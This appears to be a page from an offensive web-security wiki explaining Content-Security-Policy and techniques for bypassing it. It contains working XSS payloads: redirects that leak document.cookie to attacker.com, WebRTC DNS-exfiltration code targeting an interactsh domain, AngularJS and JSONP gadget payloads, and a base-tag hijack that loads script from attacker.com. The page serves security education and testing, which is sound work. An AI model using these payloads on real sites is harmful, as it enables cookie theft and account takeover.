Content-Security-Policy (CSP)
The CSP response header restricts what resources are allowed to execute, but can sometimes be bypassed
Last updated
The CSP response header restricts what resources are allowed to execute, but can sometimes be bypassed
Last updated
A more modern protection against XSS and some other attacks is the Content Security Policy. This is a Header (Content-Security-Policy:
) or <meta>
value in a response that tells the browser what should be allowed, and what shouldn't. An important directive that can be set using this header is script-src
, defining where JavaScript code may come from:
Content-Security-Policy: script-src 'self' https://example.com/
<meta http-equiv="Content-Security-Policy"
content="script-src 'self' https://example.com/">
You can always find the currently applied CSP by opening the DevTools in Chromium, then navigating to Application and scroll down to top in order to find all affecting headers or meta tags and their rules:
With the above policy set, any <script src=...>
that is not from the current domain or "example.com" will be blocked. When you explicitly set a policy like this it also disables inline scripts like <script>alert()</script>
or event handlers like <style onload=alert()>
from executing, even ones from the server itself as there is no way to differentiate between intended and malicious. This possibly breaking change where all scripts need to come from trusted URLs is sometimes "fixed" by adding a special 'unsafe-inline'
string that allows inline script tags and event handlers to execute, which as the name suggests, is very unsafe.
A different less-common way to allow inline scripts without allowing all inline scripts is with nonces, random values generated by the server. This nonce is put inside of the script-src
directive like 'nonce-2726c7f26c'
, requiring every inline script to have a nonce=
attribute equaling the specified random value. In theory, an attacker should not be able to predict this random value as it should be different for every request. This works in a similar way to CSRF tokens and relies on secure randomness by the server. If implemented well, this is a very effective way of preventing XSS.
The last important string in this directive is 'unsafe-eval'
which is disabled by default, blocking several functions that can execute code from a string:
eval()
Function()
Passing a string to setTimeout()
, setInterval()
or window.setImmediate()
(for example: setTimeout("alert()", 500)
)
Note however that this does not prevent all methods of executing code from a string. If 'unsafe-inline'
allows it, you can still write to the DOM with event handlers if required:
document.body.setAttribute('onclick', 'alert(origin)')
document.body.click()
It also doesn't deny the location =
sink, removing 'unsafe-inline'
is needed to prevent this:
location = "javascript:alert(origin)"
To easily evaluate and find problems with a CSP header, you can use Google's CSP Evaluator which tells you for every directive what potential problems it finds:
connect-src
This directive defines which hosts can be connected to, meaning if your attacker's server is not on the list, you cannot make a fetch()
request like normal to your server in order to exfiltrate any data. While there is no direct bypass for this, you may be able to still connect to any origin allowed to exfiltrate data by storing it, and later retrieving it as the attacker at a place you can find. By Content-Security-Policy (CSP), you could, for example, make a POST request that changes a profile picture, or some other public data, while embedding the data you want to exfiltrate. This way the policy is not broken, but the attacker can still find the data on the website itself.
With this technique, remember that even one bit of information is enough, as you can often repeat it to reveal a larger amount of information.
A more general bypass for this is to redirect the user fully using JavaScript, as browsers do not prevent this. Then in the URL, you put the data you want to exfiltrate to receive it in a request:
// Redirect via document.location:
location = `http://attacker.com/leak?${btoa(document.cookie)}`
// Redirect via <meta> tag (only at start of page load):
document.write(`<meta http-equiv="refresh" content="0; url=http://attacker.com/leak?${btoa(document.cookie)}">`)
Another useful method is WebRTC which bypasses connect-src
. The DNS lookup is not blocked and allows for dynamically inserting data into the subdomain field. These names are case-insensitive so an encoding scheme like Base32 can be used to exfiltrate arbitrary data (max ~100 characters per request). Using interactsh
it is easy to set up a domain to exfiltrate from:
$ interactsh-client
[INF] Listing 1 payload for OOB Testing
[INF] ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online
Then we use the WebRTC trick to exfiltrate any data over DNS:
function base32(s) {
let b = "";
for (let i = 0; i < s.length; i++) {
b += s.charCodeAt(i).toString(2).padStart(8, "0");
}
let a = "abcdefghijklmnopqrstuvwxyz234567";
let r = "";
for (let i = 0; i < b.length; i += 5) {
let p = b.substr(i, 5).padEnd(5, "0");
let j = parseInt(p, 2);
r += a.charAt(j);
}
return r.match(/.{1,63}/g).join(".");
}
async function leak(data) {
let c = { iceServers: [{ urls: `stun:${base32(data)}.ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online` }] };
let p = new RTCPeerConnection(c);
p.createDataChannel("");
await p.setLocalDescription();
}
leak("Hello, world! ".repeat(8));
Finally, we receive DNS requests on the interactsh-client
that we can decode:
...
[jbswY3dpfqqHo33snrSccICiMvwGY3zMeB3w64TMMqqsaSdfNRwg6LBao5xxe3d.eEeqEqzLMnrxSyIdXn5ZGyZbBEBEGK3dmN4WcA53pojWGIijAjbsWy3dPfQqHO3.3SNrScCIciMVwgY3zMEB3W64tmmqqSASDfnrWG6LbaO5xXe3DeEeQa.CkJbCs2q8GudlQGiTungUCqgux7BFhahq] Received DNS interaction (A) from 74.125.114.204
'self'
The URLs and 'self'
trust all scripts coming from that domain, meaning in a secure environment no user data should be stored under those domains, like uploaded JavaScript files. If this is allowed, an attacker can simply upload and host their payload on an allowed website and it is suddenly trusted by the CSP.
alert()
<script src=/uploads/payload.js></script>
For more complex scenarios where you cannot directly upload .js
files, the Content-Type:
header comes into play. The browser decides based on this header if the requested file is likely to be a real script, and if the type is image/png
for example, it will simply refuse to execute it:
Some more ambiguous types are allowed, however, like text/plain
, text/html
or no type at all. These are especially useful as commonly a framework will decide what Content-Type
to add based on the file extension, which may be empty in some cases causing it to choose a type allowed for JavaScript execution. This ambiguity is prevented however with an extra
X-Content-Type-Options: nosniff
header that is sometimes set, making the detection from the browser a lot more strict and only allowing real application/javascript
files (full list).
An application may sanitize uploaded files by checking for a few signatures if it looks like a valid PNG, JPEG, GIF, etc. file which can limit exploitability as it still needs to be valid JavaScript code without SyntaxError
s. In these cases, you can try to make a "polyglot" that passes the validation checks of the server, while remaining valid JavaScript by using the file format in a smart way and language features like comments to remove unwanted code.
Another idea instead of storing data, is reflecting data. If there is any page that generates a response you can turn into valid JavaScript code, you may be able to abuse it for your payload. JSONP or other callback endpoints are also useful here as they always have the correct Content-Type
, and may allow you to insert arbitrary code in place of the ?callback=
parameter, serving as your reflection of valid JavaScript code.
script-src
(AngularJS Bypass + JSONP)Every origin in this directive is trusted with all URLs it hosts. A common addition here is CDN (Content Delivery Network) domains that host many different JavaScript files for libraries. While in very unrestricted situations a CDN like unpkg.com will host every file on NPM, even malicious ones, others are less obvious.
The cdnjs.cloudflare.com or ajax.googleapis.com domains for example host only specific popular libraries which should be secure, but some have exploitable features. The most well-known is AngularJS, which a vulnerable site may also host themselves removing the need for a CDN. This library searches for specific patterns in the DOM that can define event handlers without the regular inline syntax. This bypasses the CSP and can allow arbitrary JavaScript execution by loading such a library, and including your own malicious content in the DOM:
<!-- *.googleapis.com -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)"></script>
<!-- *.google.com -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
<!-- ajax.googleapis.com (click) + maps.googleapis.com (no click) -->
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js></script>
<div ng-app ng-csp id=x ng-click=$event.view.alert($event.view.document.domain)></div>
<script async src=https://maps.googleapis.com/maps/api/js?callback=x.click></script>
<!-- cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>{{$on.curry.call().alert($on.curry.call().document.domain)}}</div>
Loading any of these blocks in a CSP that allows it, will trigger the alert(document.domain)
function. A common pattern for finding these bypasses is using Angular to create an environment where code can be executed from event handlers, and then another library or callback function to click on the element, triggering the handler with your malicious code.
See jsonp.txt for a not-so-updated list of public JSONP endpoints you may find useful.
See Content-Security-Policy (CSP) for more complex AngularJS injections that bypass filters. Also, note that other frameworks such as Content-Security-Policy (CSP) or Content-Security-Policy (CSP) may allow similar bypasses if they are accessible when unsafe-eval
is set in the CSP.
More script gadgets for different frameworks are shown in the presentation below. This includes: Knockout, Ajaxify, Bootstrap, Google Closure, RequireJS, Ember, jQuery, jQuery Mobile, Dojo Toolkit, underscore, Aurelia, Polymer 1.x, AngularJS 1.x and Ractive.
"Don't Trust the DOM: Bypassing XSS Mitigations via Script Gadgets"
URL's in a CSP may be absolute, not just an origin. The following example provides a full URL to base64.min.js
, and you would expect only that script could be loaded from the cdn.js.cloudflare.com
origin.
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/Base64/1.3.0/base64.min.js
This is not entirely true, however. If another origin, like 'self'
contains an Open Redirect vulnerability, you may redirect a script URL to any path on cdnjs.cloudflare.com
!
The following script would be allowed by the CSP spec, note that the angular.js
path is not normally allowed, but it is through the redirect because its origin is allowed. This can be abused with some HTML that executes arbitrary JavaScript, even if 'unsafe-eval'
is not set:
<script src="/redirect?url=https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fangular.js%2F1.8.3%2Fangular.min.js"></script>
<div ng-app><img src=x ng-on-error="$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.defaultView.origin)"></div>
base-src
If a CSP filters scripts based on a nonce, and does not specify a base-src
directive, you may be able to hijack relative URLs after your injection point.
Content-Security-Policy: script-src 'nonce-abc'
Let's say the target page with an HTML-injection looks as follows:
<body>
INJECT_HERE
<script nonce="abc" src="/script.js">
</body>
The relative <script>
tag can be redirect to another domain using the <base>
tag as follows:
<body>
<base href="https://attacker.com">
<script nonce="abc" src="/script.js">
</body>
Now, the script with a valid nonce is loaded from https://attacker.com/script.js
instead of the target website!
image/png
file as JavaScript source